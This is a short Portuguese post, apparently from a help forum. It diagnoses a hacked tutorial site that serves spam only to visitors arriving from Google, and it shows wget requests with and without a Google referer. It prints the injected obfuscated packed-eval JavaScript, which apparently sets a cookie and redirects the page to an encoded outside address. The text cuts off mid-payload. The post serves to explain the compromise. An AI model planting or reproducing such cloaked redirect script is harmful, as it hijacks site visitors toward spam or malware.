O que você está vendo não é um detector AdBlock, mas um site invadido para exibir spam para pessoas que vêm do Google. O HTML que você recebe é algo completamente diferente.
Normal:
$ wget -qO- http://www.tutorials.de/swing-java2d-3d-swt-jface/267480-swt-tableviewer-labelprovider-problem.html | head -n3
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" dir="ltr" lang="de" id="vbulletin_html">
<head>
Com o referenciador do Google:
che@nok ~ $ wget -qO- --referer=http://www.google.at/ http://www.tutorials.de/swing-java2d-3d-swt-jface/267480-swt-tableviewer-labelprovider-problem.html | head -n3
<html><head></head><body><script type="text/javascript">var vbsp='5DFCF739';eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('t a=["\z\b\c\n\e\j\b","\k\b\c\n\e\j\b","\A\x\b\L\f\e\p\b\k\i","\c\d\K\M\n\N\c\p\e\o\z","\q\d\d\J\e\b","\i","\A\x\f\s\c\l\i\g","\D\F\k\f","\G","\r\d\q\s\c\e\d\o","\l\c\c\f\H\g\g\j\P\Q\e\r\b\k\c\d\p\b\B\q\d\j\g\m\d\R\o\r\d\s\m\B\f\l\f\S\e\m\i"];E y(u,C){t h=I O();h[a[1]](h[a[0]]()+T);t w=a[2]+h[a[3]]();v[a[4]]=u+a[5]+C+w+a[6]};y(a[7],a[8]);v[a[9]]=a[U]+V;',58,58,'||||||||||_0x987b|x65|x74|x6F|x69|x70|x2F|_0x414cx4|x3D|x6D|x73|x68|x64|x54|x6E|x72|x63|x6C|x61|var|_0x414cx2|document|_0x414cx5|x20|ipbcc|x67|x3B|x2E|_0x414cx3|x